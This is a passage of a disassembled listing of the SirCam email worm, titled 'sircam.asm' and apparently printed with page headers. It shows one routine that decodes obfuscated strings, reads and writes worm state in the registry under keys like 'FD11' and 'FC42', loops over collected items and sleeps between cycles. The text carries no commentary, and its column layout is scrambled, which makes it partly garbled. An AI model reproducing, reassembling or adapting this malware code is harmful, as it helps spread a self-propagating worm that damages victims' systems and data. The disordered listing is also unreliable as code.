ecx, [ebp+var_EC]
xor
edx, edx
mov
eax, offset aTaKqiamApGApbg ; "\222 \\ª\237© ¬^ ¯±£[\235¯¡£¥³-[¬
\236°\234\\®³ \\ª£[ ¢±[°"...
call
sub_415FAC
mov
edx, [ebp+var_EC]
mov
eax, [ebp+var_38]
add
eax, 4
call
sub_40351C
lea
ecx, [ebp+var_F0]
xor
edx, edx
mov
eax, offset dword_41A244
sircam.asm
Fri Aug 10 12:42:44 2001
669
call
sub_415FAC
mov
edx, [ebp+var_F0]
mov
eax, [ebp+var_38]
add
eax, 8
call
sub_40351C
lea
ecx, [ebp+var_F4]
xor
edx, edx
mov
eax, offset aUaufvNgxmxdgbu ; "u \236\224¢\234N£\225M\225¤£¡\223O
\225 ¢\224P\216 \222\230\226¤\236P\236£\224P¡\223O\235\216\234"...
call
sub_415FAC
mov
edx, [ebp+var_F4]
mov
eax, [ebp+var_38]
add
eax, 0Ch
call
sub_40351C
lea
ecx, [ebp+var_F8]
xor
edx, edx
mov
eax, offset aAlnqAmzadyinib ; "\200«-\237[\235¬Z ¤Y\233-\233¡£±§Y
\235ª¦Y¦\234X¢¨¡§«§\234\233¢-©Xª"...
call
sub_415FAC
mov
edx, [ebp+var_F8]
mov
eax, [ebp+var_38]
add
eax, 10h
call
sub_40351C
jmp
loc_419640
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_419596:
lea
xor
mov
; CODE XREF: sub_4190CC+415\030j
ecx, [ebp+var_14]
edx, edx
eax, offset a_66_gm6xjz6rgk ; "_}66_\203\2146x\206z6\220\203\212U
"
call
sub_415FAC
lea
ecx, [ebp+var_18]
xor
edx, edx
mov
eax, offset dword_41A310
call
sub_415FAC
lea
ecx, [ebp+var_FC]
xor
edx, edx
mov
eax, offset aBuiJsvZkvlauiw ; "\201U©\234¦\231V°§ªV« \236©W\236
\236¢\234X\236¤W§§\232\234ªUª¦X\235\227-\235U¯"...
call
sub_415FAC
mov
edx, [ebp+var_FC]
mov
eax, [ebp+var_38]
add
eax, 4
call
sub_40351C
lea
ecx, [ebp+var_100]
xor
edx, edx
mov
eax, offset aBuujiVZkvSgvqa ; "\201U\236¦¨\232V°§ªV\232\231£V\237
\235¡¦W¥\232V®¡©\236W¬\235\237ªX\233\237£\235Uª"...
call
sub_415FAC
mov
edx, [ebp+var_100]
mov
eax, [ebp+var_38]
add
eax, 8
call
sub_40351C
lea
ecx, [ebp+var_104]
xor
edx, edx
mov
eax, offset aYmcuatniqvniss ; "yM\226\236 \222N¨\237¢N\233\231
\230\223O¤\225\223O\226\226\232\224P¡\226\220¤MwO£\222\234\223\237M§"...
call
sub_415FAC
mov
edx, [ebp+var_104]
mov
eax, [ebp+var_38]
add
eax, 0Ch
call
sub_40351C
lea
ecx, [ebp+var_108]
xor
edx, edx
mov
eax, offset aSvdpGoVaGgzbDE ; "\221¢¤¯]£®\\±¢ \\££§¡]±¤°¥Z¯¤¢Z¤ª£
©-©\236®¤««Z¯"...
call
sub_415FAC
mov
edx, [ebp+var_108]
mov
eax, [ebp+var_38]
sircam.asm
Fri Aug 10 12:42:44 2001
add
call
670
eax, 10h
sub_40351C
loc_419640:
; CODE XREF: sub_4190CC+4C5\030j
mov
eax, 4
call
sub_4028F4
mov
edx, [ebp+var_38]
mov
edx, [edx+eax*4+4]
lea
eax, [ebp+var_1C]
call
sub_403560
lea
eax, [ebp+var_28]
call
sub_4034C8
push
0
push
1
lea
eax, [ebp+var_20]
push
eax
lea
ecx, [ebp+var_10C]
xor
edx, edx
mov
eax, offset dword_41A41C
call
sub_415FAC
mov
eax, [ebp+var_10C]
push
eax
lea
eax, [ebp+var_110]
mov
ecx, offset dword_41A428
mov
edx, ds:dword_41EEFC
call
sub_403770
mov
eax, [ebp+var_110]
xor
ecx, ecx
pop
edx
call
sub_415EAC
lea
edx, [ebp+var_58]
mov
eax, [ebp+var_20]
call
sub_402978
mov
[ebp+var_58], eax
cmp
[ebp+var_58], 0
jz
short loc_4196F6
lea
ecx, [ebp+var_118]
xor
edx, edx
mov
eax, offset dword_41A438
call
sub_415FAC
mov
ecx, [ebp+var_118]
lea
eax, [ebp+var_114]
mov
edx, ds:dword_41EEE8
call
sub_403770
mov
edx, [ebp+var_114]
mov
eax, [ebp+var_74]
mov
ecx, [eax]
call
dword ptr [ecx+58h]
dec
[ebp+var_58]
jmp
short loc_419758
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4196F6:
push
push
lea
push
xor
mov
mov
call
push
push
lea
push
mov
mov
mov
call
push
; CODE XREF: sub_4190CC+5EC\030j
0
1
eax, [ebp+var_28]
eax
ecx, ecx
edx, offset aFb1b_0 ; "FB1B"
eax, ds:dword_41EEFC
sub_415EAC
1
1
eax, [ebp+var_11C]
eax
ecx, offset dword_41A45C
edx, offset aFc43 ; "FC43"
eax, ds:dword_41EEFC
sub_415EAC
1
sircam.asm
Fri Aug 10 12:42:44 2001
push
lea
push
xor
mov
mov
call
mov
call
test
jnz
xor
loc_419758:
671
1
eax, [ebp+var_120]
eax
ecx, ecx
edx, offset dword_41A478
eax, ds:dword_41EEFC
sub_415EAC
eax, [ebp+var_28]
sub_4071A8
al, al
short loc_419758
ebx, ebx
; CODE XREF: sub_4190CC+628\030j
; sub_4190CC+688\030j
push
push
lea
push
lea
call
mov
mov
mov
call
test
jz
push
lea
mov
mov
call
add
mov
add
mov
call
mov
add
mov
call
mov
add
mov
call
mov
add
mov
call
push
lea
mov
mov
call
add
mov
add
mov
call
mov
add
mov
call
mov
add
mov
call
mov
add
mov
1
1
eax, [ebp+var_124]
eax
eax, [ebp+var_128]
sub_419074
ecx, [ebp+var_128]
edx, offset aFd11 ; "FD11"
eax, ds:dword_41EEFC
sub_415EAC
bl, bl
loc_419F9F
5
eax, [ebp+var_44]
ecx, 1
edx, ds:off_419060
sub_4045A0
esp, 4
eax, [ebp+var_44]
eax, 4
edx, offset dword_41A494
sub_40351C
eax, [ebp+var_44]
eax, 8
edx, offset dword_41A4A0
sub_40351C
eax, [ebp+var_44]
eax, 0Ch
edx, offset dword_41A4AC
sub_40351C
eax, [ebp+var_44]
eax, 10h
edx, offset dword_41A4B8
sub_40351C
8
eax, [ebp+var_3C]
ecx, 1
edx, ds:off_419060
sub_4045A0
esp, 4
eax, [ebp+var_3C]
eax, 4
edx, offset dword_41A4C4
sub_40351C
eax, [ebp+var_3C]
eax, 8
edx, offset dword_41A4C4
sub_40351C
eax, [ebp+var_3C]
eax, 0Ch
edx, offset dword_41A4C4
sub_40351C
eax, [ebp+var_3C]
eax, 10h
edx, offset dword_41A4D0
sircam.asm
Fri Aug 10 12:42:44 2001
672
call
mov
add
mov
call
mov
add
mov
call
mov
add
mov
call
lea
call
push
push
lea
push
xor
mov
mov
call
mov
lea
call
mov
cmp
jz
cmp
jnz
sub_40351C
eax, [ebp+var_3C]
eax, 14h
edx, offset dword_41A4DC
sub_40351C
eax, [ebp+var_3C]
eax, 18h
edx, offset dword_41A4E8
sub_40351C
eax, [ebp+var_3C]
eax, 1Ch
edx, offset dword_41A4F4
sub_40351C
eax, [ebp+var_2C]
sub_4034C8
0
1
eax, [ebp+var_12C]
eax
ecx, ecx
edx, offset aFc42 ; "FC42"
eax, ds:dword_41EEFC
sub_415EAC
eax, [ebp+var_12C]
edx, [ebp+var_5C]
sub_402978
[ebp+var_5C], eax
[ebp+var_5C], 0
short loc_4198AC
[ebp+var_5C], 7
short loc_4198B3
mov
[ebp+var_60], 1
push
push
lea
push
xor
mov
mov
call
mov
lea
call
mov
cmp
jg
; CODE XREF: sub_4190CC+7DE\030j
0
1
eax, [ebp+var_130]
eax
ecx, ecx
edx, offset aFc421 ; "FC421"
eax, ds:dword_41EEFC
sub_415EAC
eax, [ebp+var_130]
edx, [ebp+var_70]
sub_402978
[ebp+var_70], eax
[ebp+var_60], 7
loc_419F9F
lea
xor
mov
call
mov
mov
mov
mov
lea
call
push
push
lea
push
lea
mov
mov
call
; CODE XREF: sub_4190CC+ECD\031j
ecx, [ebp+var_134]
edx, edx
eax, offset dword_41A520
sub_415FAC
edx, [ebp+var_134]
eax, [ebp+var_3C]
ecx, [ebp+var_60]
ecx, [eax+ecx*4]
eax, [ebp+var_24]
sub_403770
0
1
eax, [ebp+var_20]
eax
eax, [ebp+var_138]
ecx, offset dword_41A428
edx, ds:dword_41EEFC
sub_403770
loc_4198AC:
; CODE XREF: sub_4190CC+7D8\030j
loc_4198B3:
loc_4198EA:
sircam.asm
Fri Aug 10 12:42:44 2001
673
mov
xor
mov
call
lea
mov
call
mov
cmp
jz
mov
test
jle
mov
mov
eax, [ebp+var_138]
ecx, ecx
edx, [ebp+var_24]
sub_415EAC
edx, [ebp+var_4C]
eax, [ebp+var_20]
sub_402978
[ebp+var_4C], eax
[ebp+var_4C], 0
loc_419F70
eax, [ebp+var_4C]
eax, eax
loc_419F70
[ebp+var_80], eax
[ebp+var_48], 1
mov
mov
call
lea
mov
call
lea
mov
call
push
push
push
push
lea
xor
mov
call
push
lea
mov
call
mov
mov
mov
call
mov
mov
call
dec
mov
mov
mov
sub
jl
inc
mov
mov
; CODE XREF: sub_4190CC+E9E\031j
eax, ds:dword_41EF14
edx, [eax]
dword ptr [edx+40h]
edx, [ebp+var_238]
eax, [ebp+var_48]
sub_40296C
edx, [ebp+var_238]
eax, offset dword_41EEF4
sub_4036EC
ds:dword_41EEE8
offset dword_41A098
[ebp+var_24]
ds:dword_41EEF4
ecx, [ebp+var_240]
edx, edx
eax, offset a9luv_1 ; "9luv"
sub_415FAC
[ebp+var_240]
eax, [ebp+var_23C]
edx, 5
sub_4037E4
edx, [ebp+var_23C]
eax, ds:dword_41EF14
ecx, [eax]
dword ptr [ecx+58h]
eax, ds:dword_41EF14
edx, [eax]
dword ptr [edx+14h]
eax
[ebp+var_50], eax
eax, [ebp+var_70]
edx, [ebp+var_50]
edx, eax
loc_419F64
edx
[ebp+var_84], edx
[ebp+var_54], eax
push
push
lea
push
mov
mov
mov
call
mov
call
test
jz
cmp
jz
; CODE XREF: sub_4190CC+E92\031j
1
1
eax, [ebp+var_244]
eax
ecx, offset dword_41A53C
edx, offset dword_41A548
eax, ds:dword_41EEFC
sub_415EAC
al, [ebp+var_79]
sub_418EBC
al, al
loc_419F55
[ebp+var_2C], 0
short loc_419A47
loc_41996E:
loc_419A08:
sircam.asm
Fri Aug 10 12:42:44 2001
674
cmp
jnz
[ebp+var_6C], 8
loc_419B8D
xor
mov
cmp
jnz
mov
call
mov
lea
mov
mov
call
mov
mov
call
mov
call
test
jz
lea
mov
call
lea
mov
call
mov
lea
mov
call
mov
mov
call
jz
push
push
mov
call
mov
mov
lea
xor
call
push
lea
mov
call
; CODE XREF: sub_4190CC+96F\030j
eax, eax
[ebp+var_6C], eax
[ebp+var_28], 0
loc_419B82
eax, [ebp+var_58]
sub_4028F4
edx, eax
ecx, [ebp+var_248]
eax, [ebp+var_74]
ebx, [eax]
dword ptr [ebx+0Ch]
edx, [ebp+var_248]
eax, offset dword_41EEF4
sub_40351C
eax, ds:dword_41EEF4
sub_4071A8
al, al
loc_419B75
edx, [ebp+var_2C]
eax, ds:dword_41EEF4
sub_4073EC
edx, [ebp+var_250]
eax, [ebp+var_2C]
sub_41620C
eax, [ebp+var_250]
ecx, [ebp+var_24C]
edx, 1
sub_415FAC
eax, [ebp+var_24C]
edx, offset dword_41A554
sub_403834
short loc_419B0C
[ebp+var_2C]
offset dword_41A560
eax, 4
sub_4028F4
edx, [ebp+var_44]
eax, [edx+eax*4+4]
ecx, [ebp+var_254]
edx, edx
sub_415FAC
[ebp+var_254]
eax, [ebp+var_2C]
edx, 3
sub_4037E4
push
push
push
lea
mov
call
mov
call
test
jnz
mov
push
mov
push
mov
push
push
lea
mov
; CODE XREF: sub_4190CC+A05\030j
ds:dword_41EEF0
offset dword_41A098
[ebp+var_2C]
eax, [ebp+var_258]
edx, 3
sub_4037E4
eax, [ebp+var_258]
sub_4071A8
al, al
short loc_419B8D
eax, [ebp+var_2C]
eax
eax, [ebp+var_C]
eax
eax, [ebp+var_8]
eax
0
eax, [ebp+var_25C]
ecx, offset dword_41A098
loc_419A47:
loc_419B0C:
sircam.asm
Fri Aug 10 12:42:44 2001
675
mov
edx, ds:dword_41EEF0
call
sub_403770
mov
ecx, [ebp+var_25C]
mov
edx, ds:dword_41EEF4
mov
eax, ds:dword_41EED8
call
sub_4171C0
jmp
short loc_419B8D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_419B75:
; CODE XREF: sub_4190CC+9BE\030j
lea
eax, [ebp+var_2C]
mov
edx, [ebp+var_28]
call
sub_403560
jmp
short loc_419B8D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_419B82:
lea
mov
call
loc_419B8D:
; CODE XREF: sub_4190CC+984\030j
eax, [ebp+var_2C]
edx, [ebp+var_28]
sub_403560
; CODE XREF: sub_4190CC+975\030j
; sub_4190CC+A6B\030j ...
mov
mov
call
mov
xor
push
push
push
mov
push
push
push
push
push
mov
add
mov
call
lea
mov
mov
mov
call
mov
mov
mov
mov
call
push
mov
mov
call
mov
dec
mov
mov
call
mov
add
mov
call
mov
mov
call
mov
mov
mov
dl, 1
eax, ds:off_4124F8
sub_412560
ds:dword_41EF1C, eax
eax, eax
ebp
offset loc_419F4E
dword ptr fs:[eax]
fs:[eax], esp
offset dword_41A56C
[ebp+var_10]
offset dword_41A578
[ebp+var_8]
offset dword_41A584
eax, ds:dword_41EF1C
eax, 0Ch
edx, 5
sub_4037E4
ecx, [ebp+var_260]
edx, [ebp+var_54]
eax, ds:dword_41EF14
ebx, [eax]
dword ptr [ebx+0Ch]
edx, [ebp+var_260]
eax, ds:dword_41EF1C
eax, [eax+10h]
ecx, [eax]
dword ptr [ecx+34h]
offset dword_41EEF4
edx, [ebp+var_2C]
eax, offset dword_41A560
sub_4039B4
ecx, eax
ecx
edx, 1
eax, [ebp+var_2C]
sub_40392C
eax, ds:dword_41EF1C
eax, 14h
edx, ds:dword_41EEF4
sub_40351C
eax, [ebp+var_78]
edx, [eax]
dword ptr [edx+40h]
edx, [ebp+var_14]
eax, [ebp+var_78]
ecx, [eax]
sircam.asm
Fri Aug 10 12:42:44 2001
676
call
dword ptr [ecx+34h]
mov
edx, offset dword_41A590
mov
eax, [ebp+var_78]
mov
ecx, [eax]
call
dword ptr [ecx+34h]
mov
edx, [ebp+var_1C]
mov
eax, [ebp+var_78]
mov
ecx, [eax]
call
dword ptr [ecx+34h]
mov
edx, offset dword_41A590
mov
eax, [ebp+var_78]
mov
ecx, [eax]
call
dword ptr [ecx+34h]
mov
edx, [ebp+var_18]
mov
eax, [ebp+var_78]
mov
ecx, [eax]
call
dword ptr [ecx+34h]
mov
edx, [ebp+var_78]
mov
eax, ds:dword_41EF1C
call
sub_412620
push
ds:dword_41EEF0
push
offset dword_41A098
push
[ebp+var_2C]
lea
eax, [ebp+var_264]
mov
edx, 3
call
sub_4037E4
mov
edx, [ebp+var_264]
mov
eax, ds:dword_41EF1C
call
sub_412708
mov
eax, ds:dword_41EF1C
call
sub_412844
mov
eax, ds:dword_41EF1C
call
sub_412A08
lea
ecx, [ebp+var_268]
mov
edx, [ebp+var_54]
mov
eax, ds:dword_41EF14
mov
ebx, [eax]
call
dword ptr [ebx+0Ch]
mov
edx, [ebp+var_268]
mov
eax, [ebp+var_8]
call
sub_403834
jnz
short loc_419D08
lea
ecx, [ebp+var_26C]
xor
edx, edx
mov
eax, offset aIlkimjdeiwMzxl ; "\211\213\212\210\214\206\204\205
\211W}\214\207x\213G}\206\205"
call
sub_415FAC
mov
ecx, [ebp+var_26C]
mov
edx, [ebp+var_54]
mov
eax, ds:dword_41EF14
mov
ebx, [eax]
call
dword ptr [ebx+20h]
loc_419D08:
cmp
jnz
cmp
jnz
mov
mov
mov
mov
call
push
push
lea
push
mov
mov
mov
; CODE XREF: sub_4190CC+C15\030j
[ebp+var_54], 0
short loc_419D50
[ebp+var_34], 0
short loc_419D50
ecx, [ebp+var_30]
edx, [ebp+var_54]
eax, ds:dword_41EF14
ebx, [eax]
dword ptr [ebx+20h]
1
1
eax, [ebp+var_270]
eax
ecx, offset dword_41A194
edx, offset aFb1bc ; "FB1BC"
eax, ds:dword_41EEFC
sircam.asm
Fri Aug 10 12:42:44 2001
call
lea
mov
call
loc_419D50:
677
sub_415EAC
eax, [ebp+var_34]
edx, offset dword_41A194
sub_403560
; CODE XREF: sub_4190CC+C40\030j
; sub_4190CC+C46\030j
push
push
lea
push
mov
mov
mov
call
mov
mov
push
lea
mov
mov
mov
call
mov
mov
mov
call
test
jz
push
push
lea
push
xor
mov
mov
call
mov
lea
call
mov
inc
lea
mov
call
lea
mov
call
push
push
lea
push
mov
mov
mov
call
inc
push
push
lea
push
mov
mov
mov
call
push
push
lea
push
xor
1
1
eax, [ebp+var_274]
eax
ecx, offset dword_41A5B8
edx, offset dword_41A548
eax, ds:dword_41EEFC
sub_415EAC
eax, ds:dword_41EF1C
eax, [eax+8]
eax
ecx, [ebp+var_278]
edx, [ebp+var_54]
eax, ds:dword_41EF14
ebx, [eax]
dword ptr [ebx+0Ch]
edx, [ebp+var_278]
ecx, [ebp+var_C]
eax, [ebp+var_8]
sub_413258
al, al
loc_419F36
0
1
eax, [ebp+var_27C]
eax
ecx, ecx
edx, offset dword_41A5C4
eax, ds:dword_41EEFC
sub_415EAC
eax, [ebp+var_27C]
edx, [ebp+var_64]
sub_402978
[ebp+var_64], eax
[ebp+var_64]
edx, [ebp+var_238]
eax, [ebp+var_64]
sub_40296C
edx, [ebp+var_238]
eax, offset dword_41EEF4
sub_4036EC
1
1
eax, [ebp+var_280]
eax
ecx, ds:dword_41EEF4
edx, offset dword_41A5C4
eax, ds:dword_41EEFC
sub_415EAC
[ebp+var_6C]
1
1
eax, [ebp+var_284]
eax
ecx, offset dword_41A5D0
edx, offset dword_41A548
eax, ds:dword_41EEFC
sub_415EAC
0
1
eax, [ebp+var_288]
eax
ecx, ecx
sircam.asm
Fri Aug 10 12:42:44 2001
678
mov
edx, offset aFd11 ; "FD11"
mov
eax, ds:dword_41EEFC
call
sub_415EAC
mov
eax, [ebp+var_288]
lea
edx, [ebp+var_68]
call
sub_402978
mov
[ebp+var_68], eax
imul
eax, [ebp+var_68], 0EA60h
push
eax
call
j_Sleep
push
1
push
1
lea
eax, [ebp+var_28C]
push
eax
lea
ecx, [ebp+var_290]
mov
edx, [ebp+var_54]
mov
eax, ds:dword_41EF14
mov
ebx, [eax]
call
dword ptr [ebx+0Ch]
mov
ecx, [ebp+var_290]
mov
edx, offset aFd10 ; "FD10"
mov
eax, ds:dword_41EEFC
call
sub_415EAC
lea
edx, [ebp+var_238]
mov
eax, [ebp+var_54]
call
sub_40296C
lea
edx, [ebp+var_238]
mov
eax, offset dword_41EEF4
call
sub_4036EC
push
1
push
1
lea
eax, [ebp+var_294]
push
eax
mov
ecx, ds:dword_41EEF4
mov
edx, offset aFc421 ; "FC421"
mov
eax, ds:dword_41EEFC
call
sub_415EAC
mov
eax, [ebp+var_54]
cmp
eax, [ebp+var_50]
jnz
short loc_419EF8
mov
eax, offset dword_41EEF4
mov
edx, offset dword_41A1A0
call
sub_40351C
jmp
short loc_419F16
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_419EF8:
lea
mov
call
lea
mov
call
; CODE XREF: sub_4190CC+E19\030j
edx, [ebp+var_238]
eax, [ebp+var_60]
sub_40296C
edx, [ebp+var_238]
eax, offset dword_41EEF4
sub_4036EC
push
push
lea
push
mov
mov
mov
call
; CODE XREF: sub_4190CC+E2A\030j
1
1
eax, [ebp+var_298]
eax
ecx, ds:dword_41EEF4
edx, offset aFc42 ; "FC42"
eax, ds:dword_41EEFC
sub_415EAC
xor
pop
pop
pop
mov
eax, eax
edx
ecx
ecx
fs:[eax], edx
loc_419F16:
loc_419F36:
; CODE XREF: sub_4190CC+CD2\030j
sircam.asm
Fri Aug 10 12:42:44 2001
push
679
offset loc_419F55
loc_419F43:
; CODE XREF: sub_4190CC+E87\031j
mov
eax, ds:dword_41EF1C
call
sub_402BDC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_419F4E:
; DATA XREF: sub_4190CC+AD5\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_419F43
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_419F55:
; CODE XREF: sub_4190CC+965\030j
; DATA XREF: sub_4190CC+E72\030o
inc
dec
jnz
[ebp+var_54]
[ebp+var_84]
loc_419A08
inc
dec
jnz
[ebp+var_48]
[ebp+var_80]
loc_41996E
loc_419F64:
; CODE XREF: sub_4190CC+92C\030j
loc_419F70:
; CODE XREF: sub_4190CC+887\030j
; sub_4190CC+892\030j
mov
al, [ebp+var_79]
call
sub_418EBC
test
al, al
jz
short loc_419F8B
cmp
[ebp+var_60], 7
jnz
short loc_419F92
mov
[ebp+var_60], 1
jmp
short loc_419F92
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_419F8B:
; CODE XREF: sub_4190CC+EAE\030j
mov
[ebp+var_60], 7
loc_419F92:
; CODE XREF: sub_4190CC+EB4\030j
; sub_4190CC+EBD\030j
inc
cmp
jle
[ebp+var_60]
[ebp+var_60], 7
loc_4198EA
mov
call
mov
call
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4190CC+6B9\030j
; sub_4190CC+818\030j
eax, ds:dword_41EF14
sub_402BDC
eax, [ebp+var_74]
sub_402BDC
eax, [ebp+var_78]
sub_402BDC
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41A01E
lea
mov
call
lea
mov
call
lea
mov
; CODE XREF: CODE:0041A01C\031j
eax, [ebp+var_298]
edx, 18h
sub_4034EC
eax, [ebp+var_138]
edx, 15h
sub_4034EC
eax, [ebp+var_D4]
edx, 0Eh
loc_419F9F:
loc_419FC6:
sircam.asm
Fri Aug 10 12:42:44 2001
sub_4190CC
call
sub_4034EC
lea
eax, [ebp+var_44]
mov
edx, ds:off_419060
mov
ecx, 4
call
sub_403BE8
lea
eax, [ebp+var_34]
mov
edx, 0Dh
call
sub_4034EC
retn
endp ; sp = -0E8h
680
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41A017:
; DATA XREF: sub_4190CC+13\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_419FC6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41A01E:
; DATA XREF: sub_4190CC+EF5\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 2Ch
aJqcjksgcpXeqdb db ’\206\237\227¦ª\221£\227\217}\232\225¥\237¤¡\231¤\215{¡¤\226¤¡\225¥Rt
\223\224¡¨\236¥R\200\221\237\223\232\225£\216’,0
; DATA XREF: sub_4190CC+5C\030o
align 4
dd 0FFFFFFFFh, 14h
dword_41A064
dd 7B7F7D5Fh, 3A8D8490h, 86827968h, 7D7C593Bh, 8E878D8Ah
; DATA XREF: sub_4190CC+86\030o
dd 0, 0FFFFFFFFh, 9
dword_41A084
dd 7E717051h, 82827B85h, 6Ch, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+BA
\030o
dword_41A098
dd 5Ch, 0FFFFFFFFh, 12h ; DATA XREF: sub_4190CC+CD\030o
; sub_4190CC+8D0\030o ...
aLckh9Dyvv7yZiM db ’lckh9[\204y\202\2027Y}z\211}\214\211’,0 ; DATA XREF: sub_4190CC+EF
\030o
align 4
dd 0FFFFFFFFh, 0Bh
dword_41A0C0
dd 61645C65h, 83756232h, 827488h, 0FFFFFFFFh, 11h
; DATA XREF: sub_4190CC+119\030o
dword_41A0D4
dd 676A626Bh, 8A7F5938h, 90778188h, 84776338h, 7Dh, 0FFFFFFFFh
; DATA XREF: sub_4190CC+143\030o
dd 0Eh
dword_41A0F0
dd 78828485h, 428C797Eh, 42877783h, 8A82h, 0FFFFFFFFh
; DATA XREF: sub_4190CC+164\030o
dd 1
dword_41A108
dd 40h, 0FFFFFFFFh, 5
; DATA XREF: sub_4190CC+184\030o
aFb1bb_0
db ’FB1BB’,0
; DATA XREF: sub_4190CC+1B0\030o
align 4
dd 0FFFFFFFFh, 5
aFb1bc
db ’FB1BC’,0
; DATA XREF: sub_4190CC+1C9\030o
; sub_4190CC+C68\030o
align 4
dd 0FFFFFFFFh, 5
aFb1ba_0
db ’FB1BA’,0
; DATA XREF: sub_4190CC+20B\030o
align 4
dd 0FFFFFFFFh, 9
dword_41A144
dd 7A737C77h, 747C3B75h, 84h, 0FFFFFFFFh, 0Ah ; DATA XREF: sub_4190CC+233
\030o
dword_41A158
dd 717B7C76h, 7E3D7374h, 8276h, 0FFFFFFFFh, 11h ; DATA XREF: sub_4190CC+2
56\030o
aDxgXvaAdzzvddr db ’|\204x\203}x\202\200{\200Dz\207\202D\204\220’,0 ; DATA XREF: sub_4190
CC+279\030o
align 4
dd 0FFFFFFFFh, 3
sircam.asm
dword_41A188
dword_41A194
Fri Aug 10 12:42:44 2001
681
dd 354446h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+2E4\030o
dd 31h, 0FFFFFFFFh, 1
; DATA XREF: sub_4190CC+2FC\030o
; sub_4190CC+C63\030o ...
dword_41A1A0
dd 30h, 0FFFFFFFFh, 3
; DATA XREF: sub_4190CC+30B\030o
; sub_4190CC+E20\030o
dword_41A1AC
dd 364446h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+323\030o
dword_41A1B8
dd 787A4Fh, 0FFFFFFFFh, 11h ; DATA XREF: sub_4190CC+3FF\030o
aDvx8xedz5Kmvi7 db ’‘\204\202x8x\205\204\2075{\212\214v\2117W’,0 ; DATA XREF: sub_4190CC+
420\030o
align 4
dd 0FFFFFFFFh, 1Ah
aOnt@cgmpfPtrmu db ’o\215\222@\227\203\214\217\224>\217\222\220\214\223\217M>\206\222\202
\201\210\201\224L’,0 ; DATA XREF: sub_4190CC+42F\030o
align 4
dd 0FFFFFFFFh, 37h
aTaKqiamApGApbg db ’\222 \ª\237© ¬^ ¯±£[\235¯¡£¥³-[¬\236°\234\®³ \ª£[ ¢±[°²^«±«²ª\¡£[²¦±¯
\235’,0
; DATA XREF: sub_4190CC+441\030o
dd 0FFFFFFFFh, 33h
dword_41A244
